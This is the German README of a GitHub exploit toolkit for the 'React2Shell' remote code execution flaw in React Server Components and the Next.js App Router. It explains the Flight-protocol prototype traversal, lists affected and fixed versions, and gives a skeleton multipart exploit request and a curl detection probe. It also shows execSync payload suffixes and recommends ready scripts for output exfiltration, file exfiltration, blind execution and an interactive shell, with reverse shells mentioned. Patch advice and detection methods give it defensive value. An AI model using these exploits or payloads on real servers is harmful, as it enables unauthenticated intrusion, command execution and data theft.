
RCE-Exploit-Toolkit für CVE-2025-55182 und CVE-2025-66478 in React Server Components. Enthält mehrere Exploit-Varianten, Erkennungsskripte, einen verwundbaren Testserver und eine tiefgehende technische Analyse der Flight-Protokoll-Deserialisierungsschwachstelle.
CVE-2025-55182 (React) und CVE-2025-66478 (Next.js)
Dieses Repository enthält Exploit‑Code, der ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bestimmt ist.
Siehe auch: Mehrere Forscher haben Analysen dieser Schwachstelle veröffentlicht. Im Abschnitt Referenzen finden Sie zusätzliche Perspektiven, Exploit‑Techniken und Erkennungsmethoden.
Am Mittwoch, dem 3. Dezember 2025, wurde eine kritische Remote‑Code‑Ausführung‑Schwachstelle in React Server Components öffentlich bekannt gegeben. Der Fehler mit dem Namen „React2Shell“ ermöglicht es einem nicht authentifizierten Angreifer, beliebigen Code auf jedem Server auszuführen, der verwundbare Versionen von React RSC oder dem Next.js App Router verwendet – und zwar durch das Senden einer einzigen HTTP‑Anfrage.
Angesichts der weiten Verbreitung von Next.js – es betreibt einen erheblichen Teil des modernen Webs – sind die Auswirkungen dieser Schwachstelle schwerwiegend. Jede Next.js‑Anwendung, die den App Router (seit Next.js 13 der Standard für neue Projekte) mit aktiviertem RSC verwendet, ist verwundbar. Keine besondere Konfiguration. Keine spezifischen Endpunkte. Einfach eine POST‑Anfrage an eine beliebige Route.
Die Schwachstelle liegt im „Flight“‑Protokoll von React, dem Serialisierungsformat, das zum Übertragen von Daten zwischen Server und Client in React Server Components verwendet wird. Eine fehlende hasOwnProperty‑Prüfung während der Deserialisierung ermöglicht eine Traversierung der Prototypenkette, die schließlich den JavaScript-Function‑Konstruktor erreicht, um vom Angreifer kontrollierten Code auszuführen.
Der Fehler existiert in den Paketen react-server-dom-webpack, react-server-dom-turbopack und react-server-dom-parcel von React. Next.js als der dominierende RSC‑Konsument erbt die Schwachstelle durch seinen App Router.
Viele Dienste sind potenziell verwundbar. Next.js ist eines der beliebtesten React‑Frameworks und wird von Unternehmen jeder Größe eingesetzt – von Startups bis zu Großunternehmen. Der App Router mit React Server Components ist seit Version 13 die Standardarchitektur für neue Next.js‑Projekte, daher sind die meisten modernen Next.js‑Bereitstellungen betroffen.
Jede Anwendung, die Folgendes verwendet:
react-server-dom-*‑Paketen (19.0.0 – 19.2.0)Dies umfasst Produktionsbereitstellungen auf Vercel, AWS, selbst gehosteter Infrastruktur und überall dort, wo Next.js App Router‑Anwendungen ausgeführt werden.
Nicht betroffen:
process.mainModule verfügbar)| Paket | Verwundbar | Behoben |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Version | Verwundbar | Behoben |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Sofort aktualisieren. Es gibt keine Workarounds.
Für Next.js‑Anwendungen:
npm install next@latest
# oder
pnpm update next
Für die direkte Nutzung von React RSC:
npm install react-server-dom-webpack@latest
Überprüfen Sie Ihre installierten Versionen:
npm ls next react-server-dom-webpack react-server-dom-turbopack
Es wurden mehrere Angriffsvektoren für diese Schwachstelle entdeckt. Der häufigste – und derjenige, der ohne Voraussetzungen funktioniert – nutzt Prototyp‑Verschmutzung über das Flight‑Protokoll‑Referenzsystem von React.
Der Exploit sendet eine maßgeschneiderte Multipart‑POST‑Anfrage mit einem Next‑Action‑Header. Die Payload missbraucht das Referenzsystem, um:
$1:__proto__:then zu traversierenFunction‑Konstruktor aufzurufenPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
Der Code wird während der Deserialisierung ausgeführt, bevor eine Validierung der Aktions‑ID erfolgt. Das bedeutet, dass jeder Next‑Action‑Header‑Wert den verwundbaren Codepfad auslöst – es ist keine gültige Aktions‑ID erforderlich.
Andere Angriffsvektoren existieren, darunter
$F‑Funktionsreferenzen und direkte Modul‑Gadgets. Diese erfordern in der Regel eine gültige Aktions‑ID. Siehe Alternative Angriffsvektoren für Details.
Das Flight‑Protokoll von React löst Referenzen wie $1:path:to:value auf, indem es an Doppelpunkten trennt und das Objekt traversiert:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
Die Ironie: Ganz oben in derselben Datei, Zeile 35:
import hasOwnProperty from 'shared/hasOwnProperty';Die Absicherung wurde importiert. Sie war verfügbar. Sie wurde nur nicht in der einen Schleife verwendet, in der sie am wichtigsten gewesen wäre.
Diese einzelne fehlende Prüfung erlaubt es, mit $1:__proto__:then von einem Chunk‑Objekt aus die Prototypenkette hinauf zu Chunk.prototype.then zu gelangen – einer Funktion, die Promise‑ähnliche Objekte verarbeitet. Indem ein gefälschter Chunk mit den richtigen Eigenschaften erstellt wird, wird kontrolliert, welcher Code ausgeführt wird.
Klonen Sie den verwundbaren Testserver:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
In einem anderen Terminal:
./detect.sh http://localhost:3443
Ein verwundbarer Server antwortet mit HTTP 500 und E{"digest" im Antworttext. Um RCE zu demonstrieren:
./exploit-redirect.sh http://localhost:3443 "id"
Die Befehlsausgabe erscheint in der Antwort. Für interaktive Erkundung:
./shell.sh http://localhost:3443
Das Verzeichnis vulnerable-next-server/ enthält eine vorkonfigurierte Next.js‑16.0.6‑Anwendung mit React 19.2.0 für sicheres lokales Testen. Sie läuft standardmäßig auf Port 3443. Es handelt sich um eine minimale App‑Router‑Einrichtung, die demonstriert, dass Standardkonfigurationen verwundbar sind.
Wir haben mehrere Exploit‑Varianten entwickelt, um verschiedene Szenarien abzudecken:
| Skript | HTTP | Ausgabe | Produktion | Anmerkungen |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect‑Header | Ja | Empfohlen. Keine Voraussetzungen. |
exploit-throw.sh | 500 | Fehlerantworttext | Nein | Nur Dev‑Modus (Fehler werden in der Produktion bereinigt). |
exploit-blind.sh | 200 | Nur serverseitig | Ja | Feuer‑und‑vergessen. Für OOB‑Exfiltration. |
exploit-urlencoded.sh | 303 | x-action-redirect‑Header | Ja | Andere WAF‑Signatur. Erfordert Aktions‑ID. |
exploit-reflect.sh | 200 | Antworttext | Ja | Heimlichste Variante. Erfordert Aktions‑ID. |
Produktionshinweis: React entfernt Fehlermeldungen in Produktions‑Builds, was die
throw‑Methode unbrauchbar macht. Nurexploit-redirect.sherfasst zuverlässig Befehlsausgaben in der Produktion ohne Voraussetzungen. Die Weiterleitungs‑URL wird in derdigest‑Eigenschaft (Metadaten) des Fehlers gespeichert, die nicht bereinigt wird – im Gegensatz zumessage, das in der Produktion nur{digest: "..."}wird.
Hilfsskripte:
detect.sh – Zerstörungsfreie Schwachstellensonde (keine Code‑Ausführung)enumerate-actions.sh – Ermittelt gültige Server‑Action‑IDs aus der Ziel‑HTMLexfil-file.sh – Chunkweise Dateiexfiltration (behandelt große Dateien automatisch)shell.sh – Interaktive Pseudo‑Shell über RCEDie Redirect‑Methode wird empfohlen, weil sie in der Produktion funktioniert, keine Voraussetzungen erfordert und die Befehlsausgabe direkt zurückgibt. Sie funktioniert, indem ein speziell präparierter NEXT_REDIRECT‑Fehler ausgelöst wird – die Ausgabe wird base64‑kodiert in die Weiterleitungs‑URL eingebettet und im x‑action‑redirect‑Header zurückgegeben.
Ausführliche Nutzungshinweise zu jedem Skript finden Sie in USAGE.md.
./detect.sh https://target.com
Dies sendet eine minimale Sonde, die den verwundbaren Codepfad auslöst, ohne beliebigen Code auszuführen.
Antwort eines verwundbaren Servers:
text/x-componentE{"digest"Gepatchter Server oder Server ohne RSC: Antwortet mit 404, einem anderen Fehlerformat oder keiner Flight‑Protokoll‑Antwort.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
Diese Sonde referenziert eine nicht vorhandene Eigenschaft auf einem leeren Objekt. Verwundbare Server stürzen beim Zugriff auf {}.a.a ab und antworten mit 500. Gepatchte Server haben eine hasOwnProperty‑Absicherung, die den Absturz verhindert.
Achten Sie auf diese Indikatoren:
<script>‑Tags, die Flight‑Protokoll‑Daten enthalten (0:, 1:, usw.)x-nextjs-cache- oder x-nextjs-matched-path‑Header/_next/‑Pfade für statische Assets$ACTION_ID_‑Muster in versteckten FormularfeldernDas folgende Diagramm zeigt, wie eine einzelne HTTP‑Anfrage eine Remote‑Code‑Ausführung erreicht:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
endReact Server Components verwenden ein eigenes Serialisierungsformat namens „Flight“, um Komponentenbäume vom Server zum Client zu streamen. Es verwendet Präfixcodes für verschiedene Werttypen:
$1, $2, … – Referenzen auf andere Chunks per ID$@0 – Roh‑Chunk‑Objekt‑Referenz (liefert den Chunk selbst zurück, nicht seinen Wert)$B0 – Blob‑Referenz (löst _formData.get(_prefix + id) aus)$1:path:to:prop – Durchläuft einen Pfad auf dem Wert eines referenzierten ChunksDie Schwachstelle nutzt die Kombination aus $@ (Rohreferenz) und durch Doppelpunkte getrennten Pfaden, um auf __proto__ zuzugreifen.
Phase 1: Anfrageverarbeitung
Next-Action‑Header löst die RSC‑Aktionsverarbeitung ausawait getRoot(response) gibt Chunk 0 als Thenable zurückPhase 2: Prototyp‑Traversierung
then‑Methode – die JS‑Promise‑Spezifikation ruft thenable.then(resolve, reject) auf$1:__proto__:then löst zu Chunk.prototype.then aufthen, status: "resolved_model" und _response wird erstelltPhase 3: Code‑Ausführung
resolve(ourObject) löst einen weiteren then()‑Aufruf aus (JS‑Thenable‑Spezifikation)Chunk.prototype.then wird mit unserem kontrollierten _response‑Objekt ausgeführt$B0 löst _formData.get(_prefix + "0") aus – beides vom Angreifer kontrolliertPhase 4: Ausgabe‑Exfiltration (optional, Redirect‑Methode)
NEXT_REDIRECT‑Fehler mit base64‑kodierter Befehlsausgabe ausx-action-redirect‑Header vor URL‑ValidierungDie konstruierte Funktion wird als Thenable aufgerufen: fn(resolve, reject). Wie wir dies handhaben, bestimmt, ob wir eine Ausgabe zurückbekommen:
| Strategie | Payload‑Suffix | Funktionsweise |
|---|---|---|
| Blind | execSync('CMD');0 | Führt aus, löst aber nie auf – Verbindung hängt, keine Ausgabe |
| Throw | throw execSync('CMD').toString() | Lehnt Promise ab, Ausgabe im Fehlertext (nur Dev‑Modus) |
| Redirect | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Missbraucht Next.js‑Redirect‑Handling, Ausgabe im Header |
| Reflect | arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()]) | Löst Promise mit Ausgabe als Aktionsargument auf (erfordert gültige Aktions‑ID) |
Empfohlen: Redirect. Funktioniert in Produktion, keine Voraussetzungen, Ausgabe im x‑action‑redirect‑Header.
Der Blind‑Ansatz bleibt hängen, weil das Promise nie erfüllt wird – await blockiert dauerhaft. Dies ist nützlich für Feuer‑und‑vergessen‑Szenarien (Reverse Shells, Out‑of‑Band‑Exfiltration via curl).
Die Kernschwachstelle wurde über drei verschiedene Angriffsklassen ausgenutzt. Dieses Repository verwendet den ersten Ansatz; andere PoCs demonstrieren die Alternativen:
| Angriffsklasse | Mechanismus | Aktions‑ID erforderlich | Beispiel‑PoC |
|---|---|---|---|
| Prototyp‑Verschmutzung | $1:__proto__:then‑Traversierung zu Chunk.prototype | Nein | react2shell, lachlan2k, joe-desimone |
| $F‑Funktionsreferenz | $F1 + action#constructor um Function zu erreichen | Ja | shellinteractive |
| Modul‑Gadget | module#export‑Syntax (z.B. child_process#execSync) | Variiert | ejpir‑Forschung |
Warum Prototyp‑Verschmutzung keine Aktions‑ID benötigt: Die Multipart‑Formularanalyse speist Chunks sofort in den Flight‑Deserialisierer ein. RCE tritt in getOutlinedModel() während der Chunk‑Referenzauflösung auf – bevor Next.js die Aktions‑ID validiert. URL‑kodierte Anfragen validieren die Aktions‑ID zuerst (anderer Codepfad in action-handler.ts:768).
Warum die $F‑Referenz eine Aktions‑ID benötigt: Die $F‑Referenz löst loadServerReference() aus, das eine Manifest‑Suche durchführt. Wenn die Aktion nicht existiert, schlägt die Anfrage fehl, bevor Code ausgeführt wird.
Eine detaillierte Analyse aller PoC‑Implementierungen und ihrer Vor‑/Nachteile finden Sie in external-pocs/COMPARISON.md.
React entfernt Fehlerdetails in Produktions‑Builds. Dies betrifft die Throw‑basierte Exfiltration:
Entwicklung:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
Produktion:
{"digest":"..."}
Die Redirect‑Methode umgeht dies, da die Weiterleitungs‑URL in der digest‑Eigenschaft gespeichert wird, nicht in message. Der Header wird bedingungslos vor der URL‑Validierung gesetzt, sodass selbst ungültige URLs den Header erhalten.
Die entscheidende Exploit‑Erkenntnis – die Verwendung von $@‑Roh‑Chunk‑Referenzen zur Erstellung eines selbstreferenziellen Fake‑Chunks – wird maple3142 zugeschrieben. Die hier referenzierte Erkennungsmethodik stammt von Searchlight Cyber / Assetnote.
Offizielle Bekanntmachungen:
Community‑Forschung:
| Autor | Beitrag | Angriffspfad | Besondere Merkmale |
|---|---|---|---|
| lachlan2k | Ursprünglicher Entdecker | Prototyp‑Verschmutzung | Array.map‑Verkettung, 5‑Chunk‑Struktur, Waku‑Unterstützung |
| ejpir | Gadget‑Forschung | Alle Pfade | Modul‑Gadget‑Katalog, Persistenzangriffe, Data‑URI‑Pfad |
| joe-desimone | Python‑Werkzeuge | Prototyp‑Verschmutzung | Reverse‑Shell‑Helfer, Callback‑Exfil, Timeout‑Erkennung |
| labubusDest / MrR0b0t19 | Interaktive Shell | $F‑Funktionsreferenz | Python‑REPL, Datei‑Upload/‑Download, integrierte Testsuite |
| Searchlight Cyber | Erkennungsmethoden | — | Hochpräzise Erkennungsmethodik, WAF‑Signaturen |
Einen detaillierten Vergleich aller PoC‑Implementierungen finden Sie in external-pocs/COMPARISON.md.
Hintergrund:
Der Code ist unter der MIT‑Lizenz lizenziert. Die Dokumentation (*.md‑Dateien) ist unter CC‑BY‑SA 4.0 lizenziert.